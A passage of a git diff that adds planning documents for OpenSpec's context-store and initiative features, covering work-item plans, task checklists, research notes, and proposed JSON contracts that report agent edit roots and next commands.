`openspec/initiatives/context-store-and-initiatives/work-items/05-ship-initiative-mvp/` + with a note that the MVP shape was superseded by this work item + +## Done When + +- A new context store has OpenSpec config and can resolve project-local + initiative schemas. +- `initiative create` creates only the sparse initiative shell. +- Agents can use initiative status/instructions to create high-level planning + artifacts iteratively. +- `openspec new change` does not accidentally treat a context store as a normal + implementation repo just because the store has `openspec/config.yaml`. +- Existing MVP initiatives continue to list and show. +- Docs describe initiative artifacts as reviewed, iterative context rather than + files to fill in immediately. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/15-context-store-project-roots-and-schema-led-initiatives/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/15-context-store-project-roots-and-schema-led-initiatives/tasks.md new file mode 100644 index 0000000000..dace62c162 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/15-context-store-project-roots-and-schema-led-initiatives/tasks.md @@ -0,0 +1,39 @@ +# Context Store Project Roots And Schema-Led Initiatives Tasks + +- [x] Create Item 15 work-item tracking notes. +- [ ] Record the product decision that context stores should behave like + OpenSpec roots for config and schema resolution, but not as implementation + repos by default. +- [ ] Define the context-store root layout, including `.openspec-store/`, + `openspec/config.yaml`, `openspec/schemas/`, and `initiatives/`. +- [ ] Decide the config key for the default initiative schema, with + `initiative_schema` as the preferred next-release-safe direction. +- [ ] Decide whether initiative schemas share `openspec/schemas/` with a + `usage: initiative` discriminator or use a separate namespace while + reusing the artifact graph format. +- [ ] Add or design the built-in `product-initiative` schema for high-level + requirements and design artifacts. +- [ ] Define `brief.md` as the sparse creation seed and decide whether it sits + outside the artifact graph or is represented as an already-complete + artifact. +- [ ] Change `initiative create` from hardcoded six-file generation to sparse + `initiative.yaml` plus `brief.md` creation. +- [ ] Add initiative artifact status resolution rooted at + `context-store/initiatives/<id>/`. +- [ ] Add initiative artifact instructions output that returns schema guidance, + template content, dependencies, output path, and existing paths. +- [ ] Ensure store-local config context and rules can be read for initiative + artifact instructions without confusing repo-local change config. +- [ ] Guard planning-home resolution so context stores with + `openspec/config.yaml` do not silently become repo-local implementation + homes. +- [ ] Update `initiative create --json`, human output, and next-command guidance + for sparse creation and iterative artifacts. +- [ ] Update tests that currently assert the MVP six-file initiative shape. +- [ ] Add compatibility tests proving old six-file initiatives still list and + show. +- [ ] Add tests for context-store local schemas and store config defaults. +- [ ] Update beta docs and agent guidance to stop telling agents to edit every + initiative markdown file immediately after creation. +- [ ] Record migration behavior and a note that Item 5's six-file MVP shape has + been superseded by this schema-led sparse model. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/16-add-escalation-ux/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/16-add-escalation-ux/plan.md new file mode 100644 index 0000000000..12ddd5d3bb --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/16-add-escalation-ux/plan.md @@ -0,0 +1,26 @@ +# Add Escalation UX + +## Status + +Future work item. Kept after first-run setup, handoff output, guide cleanup, +and schema-led initiatives because escalation should build on a sane onboarding +path. + +## Goal + +Let users start locally and upgrade into a coordinated initiative only when the +work actually needs shared context. + +## Ship + +- Explore/propose guidance that starts in the current repo by default. +- Recommendation triggers when work spans multiple owned areas. +- Carry-forward behavior for current change name, product goal, notes, inferred + areas, and relevant questions. +- Prompts grounded in concrete affected areas instead of abstract storage + models. + +## Done When + +- Coordinated planning feels like a continuation of local planning, not a + workflow restart. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/16-add-escalation-ux/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/16-add-escalation-ux/tasks.md new file mode 100644 index 0000000000..6dcd465915 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/16-add-escalation-ux/tasks.md @@ -0,0 +1,7 @@ +# Add Escalation UX Tasks + +- [ ] Define local-to-initiative recommendation triggers. +- [ ] Carry current planning context into a new initiative. +- [ ] Keep prompts grounded in affected areas. +- [ ] Decide where escalation guidance appears in agent instructions, command + output, or interactive prompts. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/17-harden-team-shared-coordination/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/17-harden-team-shared-coordination/plan.md new file mode 100644 index 0000000000..c36f9230f3 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/17-harden-team-shared-coordination/plan.md @@ -0,0 +1,25 @@ +# Harden Team-Shared Coordination + +## Status + +Future work item. This should follow the first-run UX and schema-led initiative +work so team guidance is built on the stable beta path. + +## Goal + +Make initiatives practical for several teammates without turning setup into an +admin ceremony. + +## Ship + +- Recommended Git-backed shared context-store setup. +- Lightweight teammate onboarding. +- Repair flows for local path mappings. +- Sync status and conflict guidance. +- Clear separation between committed initiative state and machine-local + workspace state. + +## Done When + +- Several teammates can share the same initiative while each keeps their own + local checkout layout. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/17-harden-team-shared-coordination/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/17-harden-team-shared-coordination/tasks.md new file mode 100644 index 0000000000..fa51ad070a --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/17-harden-team-shared-coordination/tasks.md @@ -0,0 +1,7 @@ +# Harden Team-Shared Coordination Tasks + +- [ ] Document recommended Git-backed store setup. +- [ ] Define teammate onboarding and repair flows. +- [ ] Add sync status and conflict guidance. +- [ ] Define how committed initiative state and machine-local workspace state + should be explained in docs and generated guidance. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/18-explore-initiative-hosted-target-bound-change-artifacts/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/18-explore-initiative-hosted-target-bound-change-artifacts/evidence.md new file mode 100644 index 0000000000..eaaea23940 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/18-explore-initiative-hosted-target-bound-change-artifacts/evidence.md @@ -0,0 +1,397 @@ +# Explore Initiative-Hosted Target-Bound Change Artifacts Evidence + +## Initial Research Notes + +- Current product direction says context stores sync shared truth, initiatives + coordinate work, and repo-local changes own implementation planning. +- Roadmap Item 8 currently assumes repo-local changes linked to initiatives. +- Existing planning-home behavior distinguishes repo-local and workspace + planning homes, but does not have a context-store-backed change home. +- New artifact workflow commands already consume resolved planning paths in + some places, which may be a useful seam for future change-home resolution. +- Older command surfaces still assume `openspec/changes/` under a local + OpenSpec project and need an explicit audit before any implementation slice. + +## Initial Framing + +Configurable change homes are a product-boundary question, not just a path +change. A context-store-hosted artifact would still need a clear target repo or +spec root before validation, apply, archive, or spec sync can run safely. + +The future exploration should keep "change home" as internal resolver language +and use clearer product language around initiative-hosted planning artifacts, +target-bound changes, implementation targets, and editable roots. + +## Agent-First Team UX Research Pass + +Date: 2026-05-23. + +Question explored: + +```text +What does a great agent-first developer experience look like for teams using +context stores, initiatives, workspaces, and repo-local changes? +``` + +### External Pattern Notes + +- Linear uses initiatives as higher-level coordination objects that group + projects and expose health, ownership, and active project rollups. +- Jira planning commonly uses initiatives above epics or other child work + items for multi-team planning. +- GitLab roadmaps show higher-level epics and milestones across groups or + projects. +- GitHub Projects emphasize flexible planning that stays connected to issues + and repo work. + +These patterns point toward a common split: + +```text +Higher-level object = coordination and rollup +Execution item = work owned closer to a team, project, repo, or issue +``` + +OpenSpec should keep that separation while making the agent handoff sharper +than human project-management tools can. + +### Clean Mental Model + +The strongest mental model from the research pass: + +```text +Initiative = shared coordination truth +Workspace = local lens over initiative + repos +Repo change = executable implementation plan +``` + +Expanded product rule: + +```text +Context stores remember. +Initiatives coordinate. +Workspaces open. +Repo-local changes implement. +``` + +The key invariant: + +```text +Work identity is not storage location. +Storage location is not edit permission. +``` + +This keeps three decisions separate for agents: + +- What work is the user talking about? +- Where should the planning artifact live? +- Which files or repos may be edited now? + +### Suggested Artifact Types + +Repo context: + +```text +openspec/changes/<change-id>/ +``` + +Use for repo-owned implementation plans. A repo-local change may reference an +initiative through portable metadata: + +```yaml +initiative: + store: platform + id: billing-launch +``` + +Workspace context: + +```text +<store>/initiatives/<initiative-id>/work-items/<work-id>/ +``` + +Use for shared initiative planning before repo ownership or implementation +targets are clear. These should be called initiative work items, planning +briefs, or proposals, not executable OpenSpec changes, until Item 18 defines a +full lifecycle for context-store-backed changes. + +Workspace-local changes: + +```text +<workspace>/changes/<change-id>/ +``` + +Keep as legacy or beta compatibility unless the user explicitly opts into the +workspace-planning flow. + +### Agent-First UX Scenarios + +Single repo team: + +- User asks the agent to create a proposal from inside the repo. +- Agent resolves the initiative if named. +- Agent creates a repo-local change linked to the initiative. +- Apply, validate, sync, and archive stay repo-local. + +Monorepo: + +- One repo-local change can cover several packages or capabilities. +- The agent may need an area or package hint. +- The repo remains the implementation owner; areas clarify scope but do not + become separate change homes. + +Multi-repo platform: + +- Workspace opens the shared initiative context plus local repo clones. +- The initiative coordinates the platform outcome. +- Each owning repo gets its own linked repo-local change when implementation + ownership is known. +- Workspace state should report available local repos, missing local paths, and + edit boundaries. + +Central architecture team: + +- Architects may update initiative requirements, designs, contracts, decisions, + and questions without owning implementation. +- The agent should offer to draft shared initiative context or ask for the + owning repo before creating a repo-local change. + +Ownership unknown: + +- The agent should not create an implementation change. +- It should add or update initiative-level questions, or return target options + with a request for a repo or area decision. + +Teammate onboarding: + +```text +Clone or register the context store. +Run context-store doctor. +Open or resolve the initiative. +Link local repos through workspace mappings. +Ask the agent to continue from the initiative. +``` + +### Ideal Agent JSON Blocks + +Agents need stable routing vocabulary across create, status, instructions, +resolve, and list: + +```json +{ + "workTarget": { + "kind": "repo-change | initiative-work-item | workspace-change", + "id": "add-billing-api", + "root": "/absolute/path", + "storePath": "initiatives/billing-launch/work-items/add-billing-api" + }, + "initiativeLink": { + "store": "platform", + "id": "billing-launch", + "root": "/absolute/store/initiatives/billing-launch" + }, + "invocationContext": { + "kind": "repo | workspace", + "root": "/absolute/current/context" + }, + "actionContext": { + "mode": "implementation-ready | planning-only | target-selection-required", + "sourceOfTruth": "repo | context-store | workspace-local", + "allowedEditRoots": [], + "requiresTargetSelection": true, + "constraints": [ + "Use resolved output paths from the CLI.", + "Do not infer editable repos from the current working directory." + ] + }, + "nextCommands": {} +} +``` + +The important fields are: + +- `workTarget`: the object the agent is acting on. +- `initiativeLink`: the canonical shared coordination context, when present. +- `invocationContext`: where the command was run. +- `actionContext`: what the agent may edit. +- `nextCommands`: follow-up commands the agent should run instead of inventing + paths. + +### Lifecycle Rules + +- Repo-local changes are implementation-ready when the repo is the allowed edit + root. +- Initiative work items are planning-only until they select or link repo-local + implementation changes. +- Workspace-local changes are compatibility artifacts, not the preferred new + shared planning model. +- Apply, archive, repo spec sync, and repo delta validation should remain + repo-local until context-store-backed change lifecycle is explicitly designed. +- If `allowedEditRoots` is empty or target selection is required, agents should + stop before editing implementation files. + +### Edge Cases To Design For + +- Same initiative id exists in multiple stores. +- Some registered stores are unreadable or out of sync. +- A workspace can see a repo path but the user has not selected it as an edit + target. +- The terminal is inside a workspace, but the intended work belongs in a linked + repo. +- The terminal is inside a linked repo, but the user wants shared initiative + planning first. +- A repo-local change references an initiative store that is not registered on + the current machine. +- A context-store work item uses a schema that another teammate does not have. +- A change id exists both as a repo-local change and an initiative work item. +- A central team edits initiative context while implementation teams edit + linked repo-local changes. + +### Suggested Direction From The Pass + +Keep Item 8 narrow: + +- Add initiative metadata to repo-local changes. +- Add `new change <id> --initiative <store>/<initiative> --json`. +- Use `initiative show` plus workspace/repo context as the agent handoff + backbone. +- Do not implement context-store-backed OpenSpec changes in Item 8. + +Use Item 18 to decide the larger model: + +- Whether initiative work items should become a first-class artifact. +- Whether "change home" remains internal language. +- How context-store-hosted work binds to repo targets, specs, validation, + apply, archive, and sync. +- How skills and generated guidance teach agents to trust CLI JSON instead of + hardcoded paths or current working directory assumptions. + +## Target-Bound Reframe Subagent Pass + +Date: 2026-05-23. + +Question explored: + +```text +Given the product tension around central versus repo-local change storage, how +should Item 18 be reframed before implementation work begins? +``` + +Three subagent passes reviewed Item 18 from product semantics, agent-first UX, +and lifecycle/implementation angles. + +### Product Semantics Findings + +- The visible work item should not be framed as generic configurable storage. + That makes the hard question sound like path plumbing. +- The sharper product question is whether initiative-hosted artifacts can + become executable OpenSpec changes after they are bound to a target repo or + spec root. +- Repo-local changes remain the default executable implementation artifact. +- Initiative-hosted artifacts start as planning-only work items, briefs, or + proposals. +- "Change home" can stay as internal resolver language, but should not be the + main user-facing concept. + +Recommended naming: + +```text +Explore Initiative-Hosted Target-Bound Change Artifacts +``` + +### Agent-First UX Findings + +Agents need stable CLI output that separates the artifact from the thing the +agent may edit: + +```text +Plan lives in: repo-local OpenSpec | initiative context +Editable target: selected repo path | none yet +Linked initiative: platform/billing-launch +``` + +Commands should report structured action context rather than making generated +skills infer paths: + +```json +{ + "workTarget": { + "kind": "repo-change | initiative-work-item | initiative-hosted-change", + "id": "add-billing-api", + "root": "/absolute/path" + }, + "initiativeLink": { + "store": "platform", + "id": "billing-launch" + }, + "implementationTarget": { + "kind": "repo", + "id": "billing-api", + "specRoot": "openspec" + }, + "actionContext": { + "mode": "implementation-ready | planning-only | target-selection-required | unsupported", + "sourceOfTruth": "repo | context-store | workspace-local", + "allowedEditRoots": [], + "constraints": [ + "Use CLI-reported paths.", + "Do not infer editable repos from the current working directory." + ] + }, + "nextCommands": {} +} +``` + +If `allowedEditRoots` is empty, the agent should stop before editing +implementation files. If target selection is required, the command should return +next-step options rather than silently creating an ambiguous implementation +change. + +### Lifecycle And Implementation Findings + +Local code still has strong repo-local assumptions: + +- `src/core/planning-home.ts` models planning homes as `repo | workspace`. +- `src/commands/workflow/new-change.ts` resolves storage from the current + planning home and does not yet expose `--initiative` or `--json`. +- `src/commands/validate.ts` validates changes and specs from + `process.cwd()/openspec/...`. +- `src/core/archive.ts` archives by reading `openspec/changes`, applying deltas + to `openspec/specs`, and moving the change into `openspec/changes/archive`. +- `src/core/artifact-graph/types.ts` metadata does not yet model initiative + links, target repo identity, artifact home, or edit boundaries. +- Generated skills and workflow templates still contain repo-local path + assumptions such as `openspec/changes/<name>/`. + +These are not bugs in the current repo-local model. They are evidence that an +initiative-hosted executable change is a lifecycle design, not a small path +switch. + +### Updated Recommendation + +Keep Item 8 narrow: + +- Create or link repo-local changes with initiative metadata. +- Add JSON output for the agent handoff. +- Do not implement context-store-hosted executable changes in Item 8. + +Use Item 18 to answer the bigger question: + +- What initiative-hosted artifacts exist before an implementation target is + known? +- What target metadata lets a shared artifact graduate into an executable + change? +- How do local workspace and registry mappings resolve target repo identity to + machine-local paths? +- Which lifecycle commands should refuse, hand off to a repo-local change, or + operate directly against a resolved target? +- How should command and skill output teach agents to trust CLI-reported paths, + edit roots, and next commands? + +Go/no-go criterion: + +```text +Do not implement initiative-hosted executable changes until create/link, +show/status/list/instructions, validate, apply, archive, spec sync, workspace +resolution, generated skills, and JSON output all share one target-resolution +model. +``` diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/18-explore-initiative-hosted-target-bound-change-artifacts/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/18-explore-initiative-hosted-target-bound-change-artifacts/plan.md new file mode 100644 index 0000000000..9ae6faabcb --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/18-explore-initiative-hosted-target-bound-change-artifacts/plan.md @@ -0,0 +1,180 @@ +# Explore Initiative-Hosted Target-Bound Change Artifacts + +## Status + +Not started. Added as a future exploratory work item. Framing updated from +generic "configurable change homes" to the sharper question of when shared +initiative artifacts can become executable, target-bound OpenSpec changes. + +## Source Of Truth + +Start from `../../direction.md`, especially the current boundary: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +## Why This Exists + +The current initiative direction assumes OpenSpec changes usually live in the +local repo that owns implementation. That keeps validation, archive, and spec +sync close to the code that will change. + +Some coordinated work may need a shared home before the owning repo is obvious. +A team may want initiative-hosted planning artifacts, and later may want some +of those artifacts to become implementation-ready plans for a specific repo or +spec root. + +This is not just a storage preference. A shared artifact is planning-only until +it has an explicit portable target binding and lifecycle rules for validate, +apply, archive, spec sync, and conflict handling. + +## Goal + +Decide whether OpenSpec should support initiative-hosted artifacts that can +graduate into executable changes only after they are bound to an implementation +target. + +Repo-local changes remain the default executable implementation artifact. Item +18 should decide if, when, and how a context-store-hosted artifact can safely be +treated as a change. + +The answer should preserve three boundaries: + +- Initiatives coordinate shared context. +- Changes describe executable implementation plans. +- Workspaces open local views and must not imply edit permission. + +## Model To Explore + +```text +Initiative artifact + -> planning-only by default + -> may become target-bound later + +Repo-local change + -> home: repo/openspec/changes/<id>/ + -> target: implicit current repo/spec root + -> lifecycle: validate/apply/archive/spec sync are repo-local + +Initiative-hosted target-bound change + -> home: context-store/initiatives/<initiative>/changes/<id>/ + -> target: explicit repo/spec root identity + -> lifecycle: unsupported until target resolution is designed + +Agent output + -> reports the work target + -> reports where the artifact lives + -> reports the implementation target, if any + -> reports allowed edit roots for this machine +``` + +Keep "change home" as internal resolver language. User-facing and agent-facing +output should prefer clearer phrases like "plan lives in repo-local OpenSpec", +"plan lives with the initiative", and "editable target". + +## Core Invariants + +- Storage location does not imply ownership, edit permission, or lifecycle. +- Work identity, artifact home, execution target, and allowed edit roots are + separate decisions. +- Shared context-store files must not store machine-local checkout paths. +- A targetless initiative artifact is a brief, work item, or proposal, not an + implementation-ready OpenSpec change. +- A context-store-hosted artifact can be considered executable only after it has + explicit target metadata and lifecycle command support. +- Item 8 remains repo-local: `new change <id> --initiative ...` creates or links + a repo-local change only. + +## Questions To Answer + +- What exact artifact types exist under an initiative: work items, briefs, + target-bound changes, or something else? +- What portable target metadata is required before an initiative-hosted artifact + can be executable? +- How does local resolution map a target repo identity to a checkout path, + OpenSpec root, branch, and allowed edit roots? +- Should central target-bound changes require explicit opt-in such as + `--home initiative`, or can initiative/store policy choose that behavior? +- If config exists, what is the deterministic precedence across explicit CLI + flags, repo config, initiative preference, context-store default, user default, + and built-in repo-local behavior? +- How does `openspec new change` report work target, artifact home, + implementation target, initiative link, action context, and next commands in + JSON? +- How do validate, apply, archive, and spec sync behave when the artifact lives + in a context store but the target specs live in a repo? +- Should archive for an initiative-hosted target-bound change archive centrally, + materialize a repo-local handoff change, or refuse until a repo-local change + exists? +- Which command and skill surfaces still hardcode `openspec/changes/`, current + working directory, or repo-local edit assumptions? +- What compatibility behavior preserves existing repo-local and workspace-local + changes? + +## Agent-First Output Contract + +Any future command that creates, reads, or resolves this work should make the +agent's next move explicit: + +```json +{ + "workTarget": { + "kind": "repo-change | initiative-work-item | initiative-hosted-change", + "id": "add-billing-api", + "root": "/absolute/path/reported/by/cli" + }, + "initiativeLink": { + "store": "platform", + "id": "billing-launch" + }, + "implementationTarget": { + "kind": "repo", + "id": "billing-api", + "specRoot": "openspec" + }, + "actionContext": { + "mode": "implementation-ready | planning-only | target-selection-required | unsupported", + "sourceOfTruth": "repo | context-store | workspace-local", + "allowedEditRoots": [], + "constraints": [ + "Use CLI-reported paths.", + "Do not infer editable repos from the current working directory." + ] + }, + "nextCommands": {} +} +``` + +If `allowedEditRoots` is empty, the agent should not edit implementation files. +If target selection is required, the command should return options or next +commands instead of creating an ambiguous implementation plan. + +## Explicitly Out Of Scope + +- Implementing context-store-hosted executable changes before the model is + decided. +- Moving existing repo-local changes into a context store automatically. +- Making initiatives own implementation artifacts by default. +- Making workspace-level changes the new shared planning model. +- Cross-repo apply, archive, or validation orchestration. +- Storing machine-local checkout paths in shared context-store files. +- Adding global defaults that can surprise ordinary repo-local commands into + writing shared artifacts. + +## Go/No-Go Criteria + +Do not implement initiative-hosted executable changes until OpenSpec has one +target-resolution model that can cover: + +- create and link output +- status, show, list, and instructions output +- validate, apply, archive, and spec sync behavior +- workspace registry and local repo mapping behavior +- generated skill guidance and command examples +- JSON output for work target, artifact home, implementation target, edit roots, + unsupported lifecycle commands, and next commands diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/18-explore-initiative-hosted-target-bound-change-artifacts/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/18-explore-initiative-hosted-target-bound-change-artifacts/tasks.md new file mode 100644 index 0000000000..6218f63bf1 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/18-explore-initiative-hosted-target-bound-change-artifacts/tasks.md @@ -0,0 +1,28 @@ +# Explore Initiative-Hosted Target-Bound Change Artifacts Tasks + +- [x] Create Item 18 work-item tracking notes. +- [x] Reframe Item 18 from generic change-home configuration to + initiative-hosted target-bound change artifacts. +- [ ] Audit commands, templates, validation, archive, apply, completion, and + docs for repo-local `openspec/changes/` assumptions. +- [ ] Define user-facing naming for initiative work items, briefs, + target-bound changes, artifact homes, and editable targets. +- [ ] Decide whether initiative-hosted artifacts can graduate into executable + changes, and which target metadata is required first. +- [ ] Decide the configuration or opt-in surface for repo-local versus + initiative-hosted artifacts. +- [ ] Define how `openspec new change` selects and reports the artifact home, + implementation target, initiative link, and action context. +- [ ] Define how initiative linking and workspace guidance discover artifact + homes and target repo mappings. +- [ ] Decide how initiative-hosted target-bound changes bind to repo specs, + implementation roots, branches, and local checkout paths. +- [ ] Decide validation, apply, archive, sync, and conflict behavior for + initiative-hosted target-bound changes. +- [ ] Define the agent JSON contract for work target, artifact home, + implementation target, allowed edit roots, unsupported lifecycle commands, and + next commands. +- [ ] Record compatibility behavior for existing repo-local and workspace-local + changes. +- [ ] Produce a recommendation, opt-in/config examples, affected command list, + and go/no-go criteria for implementation. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/19-review-workspace-beta-compatibility-before-public-release/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/19-review-workspace-beta-compatibility-before-public-release/plan.md new file mode 100644 index 0000000000..04c4354a48 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/19-review-workspace-beta-compatibility-before-public-release/plan.md @@ -0,0 +1,62 @@ +# Review Workspace Beta Compatibility Before Public Release + +## Goal + +Before workspaces become public/stable, decide what beta workspace +compatibility behavior is actually worth carrying forward. + +This is intentionally late-stage work. Workspaces have not been publicly +released yet, so unpublished beta internals should not automatically become a +permanent compatibility contract. + +## Background + +The beta currently contains a few compatibility paths: + +- Legacy split workspace state readers for `.openspec-workspace/workspace.yaml` + and `.openspec-workspace/local.yaml`. +- Managed workspace registry fallback behavior. +- `codex` to `codex-cli` opener normalization. +- Generated `.gitignore` cleanup for old workspace `.code-workspace` ignore + rules. +- Empty or deprecated helper shims that exist only because previous workspace + slices exposed them internally. + +Some of these may be useful for local beta testers. Others may be safer to +delete before public release. + +## Scope + +Review workspace compatibility only. Do not use this item to reopen unrelated +legacy migration systems such as old slash-command cleanup, telemetry config +migration, or deprecated `change`/`spec` command aliases. + +## Decisions To Make + +- Which workspace compatibility paths are part of the public contract? +- Which paths are beta-only migration helpers and can be removed after one + release note or cleanup pass? +- Which paths are only test compatibility and can be deleted before release? +- Should beta workspace roots be migrated automatically, left readable, or + intentionally unsupported? +- Should old generated `.gitignore` cleanup exist at all, given workspaces are + managed local folders rather than repos? + +## Implementation Notes + +- Prefer deletion over preserving compatibility for unpublished intermediate + beta states. +- If a compatibility path remains, document why it exists and what would allow + it to be removed later. +- Keep user-owned files safe. Do not clean or rewrite ambiguous local files + unless OpenSpec can prove it owns them. +- Update tests so they describe the chosen public contract rather than the + accidental beta history. + +## Done When + +- Workspace compatibility code is inventoried and classified. +- Low-value beta-only shims are removed. +- Remaining compatibility behavior has focused tests and release-note language. +- Public docs and generated agent guidance do not mention unsupported beta + internals. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/19-review-workspace-beta-compatibility-before-public-release/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/19-review-workspace-beta-compatibility-before-public-release/tasks.md new file mode 100644 index 0000000000..4ef391fa8a --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/19-review-workspace-beta-compatibility-before-public-release/tasks.md @@ -0,0 +1,16 @@ +# Tasks + +- [ ] Inventory workspace compatibility code paths and tests. +- [ ] Classify each path as public contract, beta migration, test-only shim, or + removable dead weight. +- [ ] Decide whether legacy split workspace state remains readable after public + release. +- [ ] Decide whether old generated `.gitignore` cleanup should remain, become + more conservative, or be removed entirely. +- [ ] Decide how long `codex` should remain accepted as an alias for + `codex-cli`. +- [ ] Remove beta-only compatibility paths that do not need to survive public + release. +- [ ] Update tests to encode the chosen compatibility contract. +- [ ] Update docs, generated guidance, and release notes with the final public + behavior. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/proposed-initiative-next-agent-handoff-ux/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/proposed-initiative-next-agent-handoff-ux/evidence.md new file mode 100644 index 0000000000..884feca24d --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/proposed-initiative-next-agent-handoff-ux/evidence.md @@ -0,0 +1,47 @@ +# Proposed Initiative Next / Agent Handoff UX Evidence + +## Source + +This discussion item came from the GSD workspace comparison. + +GSD's useful lesson was not its storage model. It was the simple user loop: +create context, move to the next concrete step, and keep the agent from guessing +where it is in the workflow. + +OpenSpec should keep the current boundary: + +```text +Context stores sync truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +The possible gap is that `initiative show`, repo-local change linking, and +workspace opening may still require an agent to stitch together the next action +by hand. + +## Current Recommendation + +Keep this as a discussion draft until workspace initiative opening is clearer. +If accepted, the first version should be a small handoff/readiness command, not +status, progress, dashboarding, or workspace orchestration. + +## Manual Beta Pass Addition + +The 2026-05-28 manual beta pass found that command-level handoff is not the +only missing layer. A fresh agent also needs a small, tool-readable guide for +how to use OpenSpec at all: + +- inspect context stores, initiatives, workspaces, and repo-local changes before + guessing; +- understand that context stores can be artifact homes outside implementation + repos, not only cross-team coordination spaces; +- understand that repo-local changes own implementation planning when the user + wants artifacts in the repo; +- treat workspaces as local views, not durable planning homes; +- route to narrower OpenSpec workflow skills when available. + +As a temporary beta aid, a manual Codex skill was created at +`.codex/skills/use-openspec/` with references for shared context and artifact +placement. This is not yet productized in the configurator. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/proposed-initiative-next-agent-handoff-ux/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/proposed-initiative-next-agent-handoff-ux/plan.md new file mode 100644 index 0000000000..ca7b13b24b --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/proposed-initiative-next-agent-handoff-ux/plan.md @@ -0,0 +1,90 @@ +# Proposed Initiative Next / Agent Handoff UX + +## Status + +Discussion draft. Not locked into the numbered roadmap yet. + +## Why This Exists + +The GSD workspace comparison highlighted a UX gap: OpenSpec has increasingly +good discovery primitives, but agents still need to infer the next useful step +from several commands. + +The candidate idea is a tiny "what now?" handoff command after initiative +discovery from the current repo or workspace. It should not become a dashboard, +work-progress status view, or replacement for workspace local-view behavior. + +The manual beta pass surfaced a second, related handoff gap: before a command +like `initiative next` exists, a fresh coding agent still needs baseline +OpenSpec literacy. It needs to understand context stores, initiatives, +workspaces, repo-local changes, and where artifacts should live. A small +`use-openspec` skill may be the simplest first slice. + +## Candidate Goal + +Help an agent answer: + +```text +What should I do next for this initiative from the current repo or workspace? +``` + +## Possible Command Shape + +```bash +openspec initiative next <id> --json +``` + +Possible response: + +```json +{ + "initiative": "billing-launch", + "next_action": "create_repo_change", + "reason": "initiative found, no linked local change exists for this repo", + "suggested_command": "openspec new change add-billing-api --initiative billing-launch" +} +``` + +## Possible Skill Shape + +```text +use-openspec/ + SKILL.md + references/ + shared-context-beta.md + artifact-placement.md +``` + +This would be a baseline guide skill, not a workflow action. It should not +produce `/opsx:use-openspec`, should not appear as an implementation workflow, +and should not imply that workflow command delivery is unavailable. + +Open design question: whether this is literally part of the default profile, a +separate always-on bundled skill, or a managed guide skill installed by default +whenever the selected agent supports skills. + +## Discussion Points To Review + +- Should this become a numbered roadmap item before workspace initiative + opening? +- Is `initiative next` the right command name, or should this guidance live + inside workspace initiative opening or repo-local status? +- Should the command suggest exactly one next action, or return a ranked set of + possible actions? +- Should it inspect actual work progress, or stay limited to handoff readiness? +- How should it behave when no stores are registered, the initiative is + ambiguous, the local repo is unrelated, or linked changes already exist? +- Should baseline OpenSpec guidance be modeled as a default skill, a profile + member, or a separate managed guide? +- How should the guide skill interact with commands-oriented delivery? +- How should it teach artifact placement: context-store initiative vs + repo-local change vs workspace view? + +## Boundaries + +- Do not add progress/status semantics in the first version. +- Do not create changes, clone repos, or mutate workspace state. +- Do not make workspace opening a prerequisite. +- Prefer agent-readable JSON over broad interactive UX in the first slice. +- Do not turn baseline guidance into a new slash command unless a separate + workflow need emerges. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/proposed-initiative-next-agent-handoff-ux/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/proposed-initiative-next-agent-handoff-ux/tasks.md new file mode 100644 index 0000000000..188dbe726d --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/proposed-initiative-next-agent-handoff-ux/tasks.md @@ -0,0 +1,18 @@ +# Proposed Initiative Next / Agent Handoff UX Tasks + +These are discussion tasks only. Do not implement until the roadmap position and +scope are confirmed. + +- [ ] Decide whether to add this as a numbered roadmap item. +- [ ] Decide whether the command is `initiative next`, workspace initiative + opening guidance, or repo-local status guidance. +- [ ] Decide the minimal JSON output contract for agent handoff. +- [ ] Decide whether the command returns one next action or multiple options. +- [ ] Decide the error and empty-state behavior. +- [ ] Decide whether actual work progress/status is explicitly out of scope. +- [ ] Decide whether to ship `use-openspec` as a managed default skill. +- [ ] Decide whether `use-openspec` is a default-profile member or a separate + always-on guide skill. +- [ ] Decide how `use-openspec` interacts with commands-oriented delivery. +- [ ] Decide the minimal artifact-placement guidance for context-store + initiatives, repo-local changes, and workspace views. diff --git 